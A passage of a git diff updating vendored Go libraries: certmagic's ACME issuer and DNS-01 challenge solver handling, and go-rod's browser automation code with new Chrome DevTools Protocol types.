Client: &acme.Client{ Directory: caURL, PollTimeout: certObtainTimeout, UserAgent: buildUAString(), - HTTPClient: hc, + HTTPClient: iss.httpClient, }, ChallengeSolvers: make(map[string]acmez.Solver), } if iss.Logger != nil { - l := iss.Logger.Named("acme_client") - client.Client.Logger, client.Logger = l, l + client.Logger = iss.Logger.Named("acme_client") } // configure challenges (most of the time, DNS challenge is @@ -287,8 +248,10 @@ func (iss *ACMEIssuer) newACMEClient(useTestCA bool) (*acmez.Client, error) { } func (c *acmeClient) throttle(ctx context.Context, names []string) error { + email := c.iss.getEmail() + // throttling is scoped to CA + account email - rateLimiterKey := c.acmeClient.Directory + "," + c.iss.Email + rateLimiterKey := c.acmeClient.Directory + "," + email rateLimitersMu.Lock() rl, ok := rateLimiters[rateLimiterKey] if !ok { @@ -301,7 +264,7 @@ func (c *acmeClient) throttle(ctx context.Context, names []string) error { c.iss.Logger.Info("waiting on internal rate limiter", zap.Strings("identifiers", names), zap.String("ca", c.acmeClient.Directory), - zap.String("account", c.iss.Email), + zap.String("account", email), ) } err := rl.Wait(ctx) @@ -312,7 +275,7 @@ func (c *acmeClient) throttle(ctx context.Context, names []string) error { c.iss.Logger.Info("done waiting on internal rate limiter", zap.Strings("identifiers", names), zap.String("ca", c.acmeClient.Directory), - zap.String("account", c.iss.Email), + zap.String("account", email), ) } return nil diff --git a/vendor/github.com/caddyserver/certmagic/acmeissuer.go b/vendor/github.com/caddyserver/certmagic/acmeissuer.go index 94dfc2c71..4b49b1fa9 100644 --- a/vendor/github.com/caddyserver/certmagic/acmeissuer.go +++ b/vendor/github.com/caddyserver/certmagic/acmeissuer.go @@ -2,13 +2,16 @@ package certmagic import ( "context" + "crypto/tls" "crypto/x509" "errors" "fmt" + "net" "net/http" "net/url" "sort" "strings" + "sync" "time" "github.com/mholt/acmez" @@ -112,6 +115,18 @@ type ACMEIssuer struct { config *Config httpClient *http.Client + + // Some fields are changed on-the-fly during + // certificate management. For example, the + // email might be implicitly discovered if not + // explicitly configured, and agreement might + // happen during the flow. Changing the exported + // fields field is racey (issue #195) so we + // control unexported fields that we can + // synchronize properly. + email string + agreed bool + mu *sync.Mutex // protects the above grouped fields } // NewACMEIssuer constructs a valid ACMEIssuer based on a template @@ -181,7 +196,43 @@ func NewACMEIssuer(cfg *Config, template ACMEIssuer) *ACMEIssuer { if template.Logger == nil { template.Logger = DefaultACME.Logger } + template.config = cfg + template.mu = new(sync.Mutex) + + // set up the dialer and transport / HTTP client + dialer := &net.Dialer{ + Timeout: 30 * time.Second, + KeepAlive: 2 * time.Minute, + } + if template.Resolver != "" { + dialer.Resolver = &net.Resolver{ + PreferGo: true, + Dial: func(ctx context.Context, network, _ string) (net.Conn, error) { + return (&net.Dialer{ + Timeout: 15 * time.Second, + }).DialContext(ctx, network, template.Resolver) + }, + } + } + transport := &http.Transport{ + Proxy: http.ProxyFromEnvironment, + DialContext: dialer.DialContext, + TLSHandshakeTimeout: 30 * time.Second, // increase to 30s requested in #175 + ResponseHeaderTimeout: 30 * time.Second, // increase to 30s requested in #175 + ExpectContinueTimeout: 2 * time.Second, + ForceAttemptHTTP2: true, + } + if template.TrustedRoots != nil { + transport.TLSClientConfig = &tls.Config{ + RootCAs: template.TrustedRoots, + } + } + template.httpClient = &http.Client{ + Transport: transport, + Timeout: HTTPTimeout, + } + return &template } @@ -213,6 +264,18 @@ func (*ACMEIssuer) issuerKey(ca string) string { return key } +func (iss *ACMEIssuer) getEmail() string { + iss.mu.Lock() + defer iss.mu.Unlock() + return iss.email +} + +func (iss *ACMEIssuer) isAgreed() bool { + iss.mu.Lock() + defer iss.mu.Unlock() + return iss.agreed +} + // PreCheck performs a few simple checks before obtaining or // renewing a certificate with ACME, and returns whether this // batch is eligible for certificates if using Let's Encrypt. @@ -226,7 +289,7 @@ func (am *ACMEIssuer) PreCheck(ctx context.Context, names []string, interactive } } } - return am.getEmail(ctx, interactive) + return am.setEmail(ctx, interactive) } // Issue implements the Issuer interface. It obtains a certificate for the given csr using diff --git a/vendor/github.com/caddyserver/certmagic/certificates.go b/vendor/github.com/caddyserver/certmagic/certificates.go index 47bcd71df..707331f01 100644 --- a/vendor/github.com/caddyserver/certmagic/certificates.go +++ b/vendor/github.com/caddyserver/certmagic/certificates.go @@ -341,7 +341,7 @@ func (cfg *Config) reloadManagedCertificate(ctx context.Context, oldCert Certifi // as a quick sanity check, looks like it could be the subject // of a certificate. Requirements are: // - must not be empty -// - must not start or end with a dot (RFC 1034) +// - must not start or end with a dot (RFC 1034; RFC 6066 section 3) // - must not contain common accidental special characters func SubjectQualifiesForCert(subj string) bool { // must not be empty diff --git a/vendor/github.com/caddyserver/certmagic/dnsutil.go b/vendor/github.com/caddyserver/certmagic/dnsutil.go index 2eb064e34..0d7ba74fd 100644 --- a/vendor/github.com/caddyserver/certmagic/dnsutil.go +++ b/vendor/github.com/caddyserver/certmagic/dnsutil.go @@ -133,7 +133,9 @@ func dnsQuery(fqdn string, rtype uint16, nameservers []string, recursive bool) ( func createDNSMsg(fqdn string, rtype uint16, recursive bool) *dns.Msg { m := new(dns.Msg) m.SetQuestion(fqdn, rtype) - m.SetEdns0(4096, false) + + // See: https://caddy.community/t/hard-time-getting-a-response-on-a-dns-01-challenge/15721/16 + m.SetEdns0(1232, false) if !recursive { m.RecursionDesired = false } diff --git a/vendor/github.com/caddyserver/certmagic/solvers.go b/vendor/github.com/caddyserver/certmagic/solvers.go index 01087dba6..dcde352db 100644 --- a/vendor/github.com/caddyserver/certmagic/solvers.go +++ b/vendor/github.com/caddyserver/certmagic/solvers.go @@ -238,9 +238,18 @@ func (s *tlsALPNSolver) CleanUp(ctx context.Context, chal acme.Challenge) error return nil } -// DNS01Solver is a type that makes libdns providers usable -// as ACME dns-01 challenge solvers. -// See https://github.com/libdns/libdns +// DNS01Solver is a type that makes libdns providers usable as ACME dns-01 +// challenge solvers. See https://github.com/libdns/libdns +// +// Note that challenges may be solved concurrently by some clients (such as +// acmez, which CertMagic uses), meaning that multiple TXT records may be +// created in a DNS zone simultaneously, and in some cases distinct TXT records +// may have the same name. For example, solving challenges for both example.com +// and *.example.com create a TXT record named _acme_challenge.example.com, +// but with different tokens as their values. This solver distinguishes +// between different records with the same name by looking at their values. +// DNS provider APIs and implementations of the libdns interfaces must also +// support multiple same-named TXT records. type DNS01Solver struct { // The implementation that interacts with the DNS // provider to set or delete records. (REQUIRED) @@ -266,7 +275,18 @@ type DNS01Solver struct { // that the solver doesn't follow CNAME/NS record. OverrideDomain string - txtRecords map[string]dnsPresentMemory // keyed by domain name + // Remember DNS records while challenges are active; i.e. + // records we have presented and not yet cleaned up. + // This lets us clean them up quickly and efficiently. + // Keyed by domain name (specifically the ACME DNS name). + // The map value is a slice because there can be multiple + // concurrent challenges for different domains that have + // the same ACME DNS name, for example: example.com and + // *.example.com. We distinguish individual memories by + // the value of their TXT records, which should contain + // unique challenge tokens. + // See https://github.com/caddyserver/caddy/issues/3474. + txtRecords map[string][]dnsPresentMemory txtRecordsMu sync.Mutex } @@ -278,13 +298,6 @@ func (s *DNS01Solver) Present(ctx context.Context, challenge acme.Challenge) err } keyAuth := challenge.DNS01KeyAuthorization() - // multiple identifiers can have the same ACME challenge - // domain (e.g. example.com and *.example.com) so we need - // to ensure that we don't solve those concurrently and - // step on each challenges' metaphorical toes; see - // https://github.com/caddyserver/caddy/issues/3474 - activeDNSChallenges.Lock(dnsName) - zone, err := findZoneByFQDN(dnsName, recursiveNameservers(s.Resolvers)) if err != nil { return fmt.Errorf("could not determine zone for domain %q: %v", dnsName, err) @@ -299,19 +312,18 @@ func (s *DNS01Solver) Present(ctx context.Context, challenge acme.Challenge) err results, err := s.DNSProvider.AppendRecords(ctx, zone, []libdns.Record{rec}) if err != nil { - return fmt.Errorf("adding temporary record for zone %s: %w", zone, err) + return fmt.Errorf("adding temporary record for zone %q: %w", zone, err) } if len(results) != 1 { return fmt.Errorf("expected one record, got %d: %v", len(results), results) } // remember the record and zone we got so we can clean up more efficiently - s.txtRecordsMu.Lock() - if s.txtRecords == nil { - s.txtRecords = make(map[string]dnsPresentMemory) - } - s.txtRecords[dnsName] = dnsPresentMemory{dnsZone: zone, rec: results[0]} - s.txtRecordsMu.Unlock() + s.saveDNSPresentMemory(dnsPresentMemory{ + dnsZone: zone, + dnsName: dnsName, + rec: results[0], + }) return nil } @@ -363,7 +375,7 @@ func (s *DNS01Solver) Wait(ctx context.Context, challenge acme.Challenge) error var ready bool ready, err = checkDNSPropagation(dnsName, keyAuth, resolvers) if err != nil { - return fmt.Errorf("checking DNS propagation of %s: %w", dnsName, err) + return fmt.Errorf("checking DNS propagation of %q: %w", dnsName, err) } if ready { return nil @@ -376,30 +388,24 @@ func (s *DNS01Solver) Wait(ctx context.Context, challenge acme.Challenge) error // CleanUp deletes the DNS TXT record created in Present(). func (s *DNS01Solver) CleanUp(ctx context.Context, challenge acme.Challenge) error { dnsName := challenge.DNS01TXTRecordName() + if s.OverrideDomain != "" { + dnsName = s.OverrideDomain + } + keyAuth := challenge.DNS01KeyAuthorization() - defer func() { - // always forget about it so we don't leak memory - s.txtRecordsMu.Lock() - delete(s.txtRecords, dnsName) - s.txtRecordsMu.Unlock() - - // always do this last - but always do it! - activeDNSChallenges.Unlock(dnsName) - }() + // always forget about the record so we don't leak memory + defer s.deleteDNSPresentMemory(dnsName, keyAuth) // recall the record we created and zone we looked up - s.txtRecordsMu.Lock() - memory, ok := s.txtRecords[dnsName] - if !ok { - s.txtRecordsMu.Unlock() - return fmt.Errorf("no memory of presenting a DNS record for %s (probably OK if presenting failed)", challenge.Identifier.Value) + memory, err := s.getDNSPresentMemory(dnsName, keyAuth) + if err != nil { + return err } - s.txtRecordsMu.Unlock() // clean up the record - _, err := s.DNSProvider.DeleteRecords(ctx, memory.dnsZone, []libdns.Record{memory.rec}) + _, err = s.DNSProvider.DeleteRecords(ctx, memory.dnsZone, []libdns.Record{memory.rec}) if err != nil { - return fmt.Errorf("deleting temporary record for zone %s: %w", memory.dnsZone, err) + return fmt.Errorf("deleting temporary record for name %q in zone %q: %w", memory.dnsName, memory.dnsZone, err) } return nil @@ -407,58 +413,58 @@ func (s *DNS01Solver) CleanUp(ctx context.Context, challenge acme.Challenge) err type dnsPresentMemory struct { dnsZone string + dnsName string rec libdns.Record } -// ACMEDNSProvider defines the set of operations required for -// ACME challenges. A DNS provider must be able to append and -// delete records in order to solve ACME challenges. Find one -// you can use at https://github.com/libdns. If your provider -// isn't implemented yet, feel free to contribute! -type ACMEDNSProvider interface { - libdns.RecordAppender - libdns.RecordDeleter +func (s *DNS01Solver) saveDNSPresentMemory(mem dnsPresentMemory) { + s.txtRecordsMu.Lock() + if s.txtRecords == nil { + s.txtRecords = make(map[string][]dnsPresentMemory) + } + s.txtRecords[mem.dnsName] = append(s.txtRecords[mem.dnsName], mem) + s.txtRecordsMu.Unlock() } -// activeDNSChallenges synchronizes DNS challenges for -// names to ensure that challenges for the same ACME -// DNS name do not overlap; for example, the TXT record -// to make for both example.com and *.example.com are -// the same; thus we cannot solve them concurrently. -var activeDNSChallenges = newMapMutex() - -// mapMutex implements named mutexes. -type mapMutex struct { - cond *sync.Cond - set map[interface{}]struct{} -} +func (s *DNS01Solver) getDNSPresentMemory(dnsName, keyAuth string) (dnsPresentMemory, error) { + s.txtRecordsMu.Lock() + defer s.txtRecordsMu.Unlock() -func newMapMutex() *mapMutex { - return &mapMutex{ - cond: sync.NewCond(new(sync.Mutex)), - set: make(map[interface{}]struct{}), + var memory dnsPresentMemory + for _, mem := range s.txtRecords[dnsName] { + if mem.rec.Value == keyAuth { + memory = mem + break + } } -} -func (mmu *mapMutex) Lock(key interface{}) { - mmu.cond.L.Lock() - defer mmu.cond.L.Unlock() - for mmu.locked(key) { - mmu.cond.Wait() + if memory.rec.Name == "" { + return dnsPresentMemory{}, fmt.Errorf("no memory of presenting a DNS record for %q (usually OK if presenting also failed)", dnsName) } - mmu.set[key] = struct{}{} + + return memory, nil } -func (mmu *mapMutex) Unlock(key interface{}) { - mmu.cond.L.Lock() - defer mmu.cond.L.Unlock() - delete(mmu.set, key) - mmu.cond.Broadcast() +func (s *DNS01Solver) deleteDNSPresentMemory(dnsName, keyAuth string) { + s.txtRecordsMu.Lock() + defer s.txtRecordsMu.Unlock() + + for i, mem := range s.txtRecords[dnsName] { + if mem.rec.Value == keyAuth { + s.txtRecords[dnsName] = append(s.txtRecords[dnsName][:i], s.txtRecords[dnsName][i+1:]...) + return + } + } } -func (mmu *mapMutex) locked(key interface{}) (ok bool) { - _, ok = mmu.set[key] - return +// ACMEDNSProvider defines the set of operations required for +// ACME challenges. A DNS provider must be able to append and +// delete records in order to solve ACME challenges. Find one +// you can use at https://github.com/libdns. If your provider +// isn't implemented yet, feel free to contribute! +type ACMEDNSProvider interface { + libdns.RecordAppender + libdns.RecordDeleter } // distributedSolver allows the ACME HTTP-01 and TLS-ALPN challenges diff --git a/vendor/github.com/go-rod/rod/element.go b/vendor/github.com/go-rod/rod/element.go index f7ece196e..5631b2db6 100644 --- a/vendor/github.com/go-rod/rod/element.go +++ b/vendor/github.com/go-rod/rod/element.go @@ -4,7 +4,6 @@ import ( "context" "errors" "fmt" - "path/filepath" "reflect" "strings" "time" @@ -155,11 +154,7 @@ func (el *Element) Interactable() (pt *proto.Point, err error) { shape, err := el.Shape() if err != nil { - // such as when css is "display: none" - if errors.Is(err, cdp.ErrNoContentQuads) { - err = &ErrInvisibleShape{el} - } - return + return nil, err } pt = shape.OnePointInside() @@ -373,12 +368,7 @@ func (el *Element) Property(name string) (gson.JSON, error) { // SetFiles of the current file input element func (el *Element) SetFiles(paths []string) error { - absPaths := []string{} - for _, p := range paths { - absPath, err := filepath.Abs(p) - utils.E(err) - absPaths = append(absPaths, absPath) - } + absPaths := utils.AbsolutePaths(paths) defer el.tryTrace(TraceTypeInput, fmt.Sprintf("set files: %v", absPaths))() el.page.browser.trySlowmotion() diff --git a/vendor/github.com/go-rod/rod/hijack.go b/vendor/github.com/go-rod/rod/hijack.go index e37efdd42..02c15bb81 100644 --- a/vendor/github.com/go-rod/rod/hijack.go +++ b/vendor/github.com/go-rod/rod/hijack.go @@ -230,13 +230,11 @@ func (h *Hijack) LoadResponse(client *http.Client, loadBody bool) error { h.Response.payload.ResponseCode = res.StatusCode - list := []string{} for k, vs := range res.Header { for _, v := range vs { - list = append(list, k, v) + h.Response.SetHeader(k, v) } } - h.Response.SetHeader(list...) if loadBody { b, err := ioutil.ReadAll(res.Body) diff --git a/vendor/github.com/go-rod/rod/lib/cdp/error.go b/vendor/github.com/go-rod/rod/lib/cdp/error.go index b02bf9e09..931b7daf8 100644 --- a/vendor/github.com/go-rod/rod/lib/cdp/error.go +++ b/vendor/github.com/go-rod/rod/lib/cdp/error.go @@ -57,9 +57,3 @@ var ErrNodeNotFoundAtPos = &Error{ Code: -32000, Message: "No node found at given location", } - -// ErrNoContentQuads type -var ErrNoContentQuads = &Error{ - Code: -32000, - Message: "Could not compute content quads.", -} diff --git a/vendor/github.com/go-rod/rod/lib/defaults/defaults.go b/vendor/github.com/go-rod/rod/lib/defaults/defaults.go index 3c6d06991..b4f593d0c 100644 --- a/vendor/github.com/go-rod/rod/lib/defaults/defaults.go +++ b/vendor/github.com/go-rod/rod/lib/defaults/defaults.go @@ -1,5 +1,5 @@ // Package defaults of commonly used options parsed from environment. -// Check ResetWithEnv for details. +// Check ResetWith for details. package defaults import ( diff --git a/vendor/github.com/go-rod/rod/lib/launcher/revision.go b/vendor/github.com/go-rod/rod/lib/launcher/revision.go index a55e36a5d..51153b05a 100644 --- a/vendor/github.com/go-rod/rod/lib/launcher/revision.go +++ b/vendor/github.com/go-rod/rod/lib/launcher/revision.go @@ -3,7 +3,7 @@ package launcher // RevisionDefault for chromium -const RevisionDefault = 1018003 +const RevisionDefault = 1033860 // RevisionPlaywright for arm linux -const RevisionPlaywright = 1012 +const RevisionPlaywright = 1019 diff --git a/vendor/github.com/go-rod/rod/lib/proto/accessibility.go b/vendor/github.com/go-rod/rod/lib/proto/accessibility.go index 22d00e9d8..8ae4177ec 100644 --- a/vendor/github.com/go-rod/rod/lib/proto/accessibility.go +++ b/vendor/github.com/go-rod/rod/lib/proto/accessibility.go @@ -341,6 +341,9 @@ type AccessibilityAXNode struct { // Role (optional) This `Node`'s role, whether explicit or implicit. Role *AccessibilityAXValue `json:"role,omitempty"` + // ChromeRole (optional) This `Node`'s Chrome raw role. + ChromeRole *AccessibilityAXValue `json:"chromeRole,omitempty"` + // Name (optional) The accessible name for this `Node`. Name *AccessibilityAXValue `json:"name,omitempty"` diff --git a/vendor/github.com/go-rod/rod/lib/proto/audits.go b/vendor/github.com/go-rod/rod/lib/proto/audits.go index 6ac8c46f8..c24004f1d 100644 --- a/vendor/github.com/go-rod/rod/lib/proto/audits.go +++ b/vendor/github.com/go-rod/rod/lib/proto/audits.go @@ -61,6 +61,9 @@ const ( // AuditsCookieExclusionReasonExcludeSamePartyCrossPartyContext enum const AuditsCookieExclusionReasonExcludeSamePartyCrossPartyContext AuditsCookieExclusionReason = "ExcludeSamePartyCrossPartyContext" + + // AuditsCookieExclusionReasonExcludeDomainNonASCII enum const + AuditsCookieExclusionReasonExcludeDomainNonASCII AuditsCookieExclusionReason = "ExcludeDomainNonASCII" ) // AuditsCookieWarningReason ... @@ -93,6 +96,9 @@ const ( // AuditsCookieWarningReasonWarnAttributeValueExceedsMaxSize enum const AuditsCookieWarningReasonWarnAttributeValueExceedsMaxSize AuditsCookieWarningReason = "WarnAttributeValueExceedsMaxSize" + + // AuditsCookieWarningReasonWarnDomainNonASCII enum const + AuditsCookieWarningReasonWarnDomainNonASCII AuditsCookieWarningReason = "WarnDomainNonASCII" ) // AuditsCookieOperation ... @@ -525,14 +531,32 @@ const ( // AuditsAttributionReportingIssueTypePermissionPolicyDisabled enum const AuditsAttributionReportingIssueTypePermissionPolicyDisabled AuditsAttributionReportingIssueType = "PermissionPolicyDisabled" - // AuditsAttributionReportingIssueTypeAttributionSourceUntrustworthyOrigin enum const - AuditsAttributionReportingIssueTypeAttributionSourceUntrustworthyOrigin AuditsAttributionReportingIssueType = "AttributionSourceUntrustworthyOrigin" + // AuditsAttributionReportingIssueTypeUntrustworthyReportingOrigin enum const + AuditsAttributionReportingIssueTypeUntrustworthyReportingOrigin AuditsAttributionReportingIssueType = "UntrustworthyReportingOrigin" - // AuditsAttributionReportingIssueTypeAttributionUntrustworthyOrigin enum const - AuditsAttributionReportingIssueTypeAttributionUntrustworthyOrigin AuditsAttributionReportingIssueType = "AttributionUntrustworthyOrigin" + // AuditsAttributionReportingIssueTypeInsecureContext enum const + AuditsAttributionReportingIssueTypeInsecureContext AuditsAttributionReportingIssueType = "InsecureContext" // AuditsAttributionReportingIssueTypeInvalidHeader enum const AuditsAttributionReportingIssueTypeInvalidHeader AuditsAttributionReportingIssueType = "InvalidHeader" + + // AuditsAttributionReportingIssueTypeInvalidRegisterTriggerHeader enum const + AuditsAttributionReportingIssueTypeInvalidRegisterTriggerHeader AuditsAttributionReportingIssueType = "InvalidRegisterTriggerHeader" + + // AuditsAttributionReportingIssueTypeInvalidEligibleHeader enum const + AuditsAttributionReportingIssueTypeInvalidEligibleHeader AuditsAttributionReportingIssueType = "InvalidEligibleHeader" + + // AuditsAttributionReportingIssueTypeTooManyConcurrentRequests enum const + AuditsAttributionReportingIssueTypeTooManyConcurrentRequests AuditsAttributionReportingIssueType = "TooManyConcurrentRequests" + + // AuditsAttributionReportingIssueTypeSourceAndTriggerHeaders enum const + AuditsAttributionReportingIssueTypeSourceAndTriggerHeaders AuditsAttributionReportingIssueType = "SourceAndTriggerHeaders" + + // AuditsAttributionReportingIssueTypeSourceIgnored enum const + AuditsAttributionReportingIssueTypeSourceIgnored AuditsAttributionReportingIssueType = "SourceIgnored" + + // AuditsAttributionReportingIssueTypeTriggerIgnored enum const + AuditsAttributionReportingIssueTypeTriggerIgnored AuditsAttributionReportingIssueType = "TriggerIgnored" ) // AuditsAttributionReportingIssueDetails Details for issues around "Attribution Reporting API" usage. @@ -542,9 +566,6 @@ type AuditsAttributionReportingIssueDetails struct { // ViolationType ... ViolationType AuditsAttributionReportingIssueType `json:"violationType"` - // Frame (optional) ... - Frame *AuditsAffectedFrame `json:"frame,omitempty"` - // Request (optional) ... Request *AuditsAffectedRequest `json:"request,omitempty"` @@ -647,6 +668,9 @@ const ( // AuditsDeprecationIssueTypeEventPath enum const AuditsDeprecationIssueTypeEventPath AuditsDeprecationIssueType = "EventPath" + // AuditsDeprecationIssueTypeExpectCTHeader enum const + AuditsDeprecationIssueTypeExpectCTHeader AuditsDeprecationIssueType = "ExpectCTHeader" + // AuditsDeprecationIssueTypeGeolocationInsecureOrigin enum const AuditsDeprecationIssueTypeGeolocationInsecureOrigin AuditsDeprecationIssueType = "GeolocationInsecureOrigin" @@ -677,6 +701,12 @@ const ( // AuditsDeprecationIssueTypeMediaSourceDurationTruncatingBuffered enum const AuditsDeprecationIssueTypeMediaSourceDurationTruncatingBuffered AuditsDeprecationIssueType = "MediaSourceDurationTruncatingBuffered" + // AuditsDeprecationIssueTypeNavigateEventRestoreScroll enum const + AuditsDeprecationIssueTypeNavigateEventRestoreScroll AuditsDeprecationIssueType = "NavigateEventRestoreScroll" + + // AuditsDeprecationIssueTypeNavigateEventTransitionWhile enum const + AuditsDeprecationIssueTypeNavigateEventTransitionWhile AuditsDeprecationIssueType = "NavigateEventTransitionWhile" + // AuditsDeprecationIssueTypeNoSysexWebMIDIWithoutPermission enum const AuditsDeprecationIssueTypeNoSysexWebMIDIWithoutPermission AuditsDeprecationIssueType = "NoSysexWebMIDIWithoutPermission" @@ -692,6 +722,12 @@ const ( // AuditsDeprecationIssueTypeOpenWebDatabaseInsecureContext enum const AuditsDeprecationIssueTypeOpenWebDatabaseInsecureContext AuditsDeprecationIssueType = "OpenWebDatabaseInsecureContext" + // AuditsDeprecationIssueTypeOverflowVisibleOnReplacedElement enum const + AuditsDeprecationIssueTypeOverflowVisibleOnReplacedElement AuditsDeprecationIssueType = "OverflowVisibleOnReplacedElement" + + // AuditsDeprecationIssueTypePersistentQuotaType enum const + AuditsDeprecationIssueTypePersistentQuotaType AuditsDeprecationIssueType = "PersistentQuotaType" + // AuditsDeprecationIssueTypePictureSourceSrc enum const AuditsDeprecationIssueTypePictureSourceSrc AuditsDeprecationIssueType = "PictureSourceSrc" @@ -840,9 +876,6 @@ const ( // AuditsFederatedAuthRequestIssueReasonClientMetadataInvalidResponse enum const AuditsFederatedAuthRequestIssueReasonClientMetadataInvalidResponse AuditsFederatedAuthRequestIssueReason = "ClientMetadataInvalidResponse" - // AuditsFederatedAuthRequestIssueReasonClientMetadataMissingPrivacyPolicyURL enum const - AuditsFederatedAuthRequestIssueReasonClientMetadataMissingPrivacyPolicyURL AuditsFederatedAuthRequestIssueReason = "ClientMetadataMissingPrivacyPolicyUrl" - // AuditsFederatedAuthRequestIssueReasonDisabledInSettings enum const AuditsFederatedAuthRequestIssueReasonDisabledInSettings AuditsFederatedAuthRequestIssueReason = "DisabledInSettings" diff --git a/vendor/github.com/go-rod/rod/lib/proto/css.go b/vendor/github.com/go-rod/rod/lib/proto/css.go index 1c88dc31c..8c228ddad 100644 --- a/vendor/github.com/go-rod/rod/lib/proto/css.go +++ b/vendor/github.com/go-rod/rod/lib/proto/css.go @@ -798,6 +798,9 @@ type CSSGetMatchedStylesForNodeResult struct { // CSSKeyframesRules (optional) A list of CSS keyframed animations matching this node. CSSKeyframesRules []*CSSCSSKeyframesRule `json:"cssKeyframesRules,omitempty"` + + // ParentLayoutNodeID (experimental) (optional) Id of the first parent element that does not have display: contents. + ParentLayoutNodeID DOMNodeID `json:"parentLayoutNodeId,omitempty"` } // CSSGetMediaQueries Returns all media queries parsed by the rendering engine. @@ -1073,6 +1076,35 @@ type CSSSetSupportsTextResult struct { Supports *CSSCSSSupports `json:"supports"` } +// CSSSetScopeText (experimental) Modifies the expression of a scope at-rule. +type CSSSetScopeText struct { + + // StyleSheetID ... + StyleSheetID CSSStyleSheetID `json:"styleSheetId"` + + // Range ... + Range *CSSSourceRange `json:"range"` + + // Text ... + Text string `json:"text"` +} + +// ProtoReq name +func (m CSSSetScopeText) ProtoReq() string { return "CSS.setScopeText" } + +// Call the request +func (m CSSSetScopeText) Call(c Client) (*CSSSetScopeTextResult, error) { + var res CSSSetScopeTextResult + return &res, call(m.ProtoReq(), m, &res, c) +} + +// CSSSetScopeTextResult (experimental) ... +type CSSSetScopeTextResult struct { + + // Scope The resulting CSS Scope rule after modification. + Scope *CSSCSSScope `json:"scope"` +} + // CSSSetRuleSelector Modifies the rule selector. type CSSSetRuleSelector struct { diff --git a/vendor/github.com/go-rod/rod/lib/proto/debugger.go b/vendor/github.com/go-rod/rod/lib/proto/debugger.go index 4bba78765..24282597c 100644 --- a/vendor/github.com/go-rod/rod/lib/proto/debugger.go +++ b/vendor/github.com/go-rod/rod/lib/proto/debugger.go @@ -189,6 +189,16 @@ type DebuggerBreakLocation struct { Type DebuggerBreakLocationType `json:"type,omitempty"` } +// DebuggerWasmDisassemblyChunk (experimental) ... +type DebuggerWasmDisassemblyChunk struct { + + // Lines The next chunk of disassembled lines. + Lines []string `json:"lines"` + + // BytecodeOffsets The bytecode offsets describing the start of each line. + BytecodeOffsets []int `json:"bytecodeOffsets"` +} + // DebuggerScriptLanguage Enum of possible script languages. type DebuggerScriptLanguage string @@ -403,6 +413,68 @@ type DebuggerGetScriptSourceResult struct { Bytecode []byte `json:"bytecode,omitempty"` } +// DebuggerDisassembleWasmModule (experimental) ... +type DebuggerDisassembleWasmModule struct { + + // ScriptID Id of the script to disassemble + ScriptID RuntimeScriptID `json:"scriptId"` +} + +// ProtoReq name +func (m DebuggerDisassembleWasmModule) ProtoReq() string { return "Debugger.disassembleWasmModule" } + +// Call the request +func (m DebuggerDisassembleWasmModule) Call(c Client) (*DebuggerDisassembleWasmModuleResult, error) { + var res DebuggerDisassembleWasmModuleResult + return &res, call(m.ProtoReq(), m, &res, c) +} + +// DebuggerDisassembleWasmModuleResult (experimental) ... +type DebuggerDisassembleWasmModuleResult struct { + + // StreamID (optional) For large modules, return a stream from which additional chunks of + // disassembly can be read successively. + StreamID string `json:"streamId,omitempty"` + + // TotalNumberOfLines The total number of lines in the disassembly text. + TotalNumberOfLines int `json:"totalNumberOfLines"` + + // FunctionBodyOffsets The offsets of all function bodies, in the format [start1, end1, + // start2, end2, ...] where all ends are exclusive. + FunctionBodyOffsets []int `json:"functionBodyOffsets"` + + // Chunk The first chunk of disassembly. + Chunk *DebuggerWasmDisassemblyChunk `json:"chunk"` +} + +// DebuggerNextWasmDisassemblyChunk (experimental) Disassemble the next chunk of lines for the module corresponding to the +// stream. If disassembly is complete, this API will invalidate the streamId +// and return an empty chunk. Any subsequent calls for the now invalid stream +// will return errors. +type DebuggerNextWasmDisassemblyChunk struct { + + // StreamID ... + StreamID string `json:"streamId"` +} + +// ProtoReq name +func (m DebuggerNextWasmDisassemblyChunk) ProtoReq() string { + return "Debugger.nextWasmDisassemblyChunk" +} + +// Call the request +func (m DebuggerNextWasmDisassemblyChunk) Call(c Client) (*DebuggerNextWasmDisassemblyChunkResult, error) { + var res DebuggerNextWasmDisassemblyChunkResult + return &res, call(m.ProtoReq(), m, &res, c) +} + +// DebuggerNextWasmDisassemblyChunkResult (experimental) ... +type DebuggerNextWasmDisassemblyChunkResult struct { + + // Chunk The next chunk of disassembly. + Chunk *DebuggerWasmDisassemblyChunk `json:"chunk"` +} + // DebuggerGetWasmBytecode (deprecated) This command is deprecated. Use getScriptSource instead. type DebuggerGetWasmBytecode struct { diff --git a/vendor/github.com/go-rod/rod/lib/proto/definitions.go b/vendor/github.com/go-rod/rod/lib/proto/definitions.go index 1dca8cc1b..cefccb466 100644 --- a/vendor/github.com/go-rod/rod/lib/proto/definitions.go +++ b/vendor/github.com/go-rod/rod/lib/proto/definitions.go @@ -182,6 +182,8 @@ var types = map[string]reflect.Type{ "CSS.setContainerQueryTextResult": reflect.TypeOf(CSSSetContainerQueryTextResult{}), "CSS.setSupportsText": reflect.TypeOf(CSSSetSupportsText{}), "CSS.setSupportsTextResult": reflect.TypeOf(CSSSetSupportsTextResult{}), + "CSS.setScopeText": reflect.TypeOf(CSSSetScopeText{}), + "CSS.setScopeTextResult": reflect.TypeOf(CSSSetScopeTextResult{}), "CSS.setRuleSelector": reflect.TypeOf(CSSSetRuleSelector{}), "CSS.setRuleSelectorResult": reflect.TypeOf(CSSSetRuleSelectorResult{}), "CSS.setStyleSheetText": reflect.TypeOf(CSSSetStyleSheetText{}), @@ -853,6 +855,7 @@ var types = map[string]reflect.Type{ "Storage.getStorageKeyForFrame": reflect.TypeOf(StorageGetStorageKeyForFrame{}), "Storage.getStorageKeyForFrameResult": reflect.TypeOf(StorageGetStorageKeyForFrameResult{}), "Storage.clearDataForOrigin": reflect.TypeOf(StorageClearDataForOrigin{}), + "Storage.clearDataForStorageKey": reflect.TypeOf(StorageClearDataForStorageKey{}), "Storage.getCookies": reflect.TypeOf(StorageGetCookies{}), "Storage.getCookiesResult": reflect.TypeOf(StorageGetCookiesResult{}), "Storage.setCookies": reflect.TypeOf(StorageSetCookies{}), @@ -862,8 +865,10 @@ var types = map[string]reflect.Type{ "Storage.overrideQuotaForOrigin": reflect.TypeOf(StorageOverrideQuotaForOrigin{}), "Storage.trackCacheStorageForOrigin": reflect.TypeOf(StorageTrackCacheStorageForOrigin{}), "Storage.trackIndexedDBForOrigin": reflect.TypeOf(StorageTrackIndexedDBForOrigin{}), + "Storage.trackIndexedDBForStorageKey": reflect.TypeOf(StorageTrackIndexedDBForStorageKey{}), 